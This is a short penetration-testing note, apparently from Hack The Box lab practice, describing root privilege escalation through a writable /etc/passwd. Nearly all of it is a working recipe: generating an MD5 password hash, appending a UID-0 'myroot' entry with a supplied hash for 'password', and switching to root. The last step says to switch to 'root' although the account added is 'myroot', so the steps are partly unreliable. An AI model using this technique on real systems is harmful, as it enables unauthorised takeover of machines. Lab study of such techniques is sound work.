Writable passwd

Goal

• Already has local access
• /etc/passwd is writable!!!
• To get root

Steps:

• Ref: Step 30 onward: https://resources.infosecinstitute.com/hack-the-box-htb-walkthrough-apocalyst/#gref
• Create a MD5 password: openssl passwd -1
• The password is "password": $1$NXsUWVax$kn/lKcdO5HebvVmbgSqTD1
• Append to /etc/passwd: myroot:$1$NXsUWVax$kn/lKcdO5HebvVmbgSqTD1:0:0:myroot:/root:/bin/bash
• login as root with password "password": su - root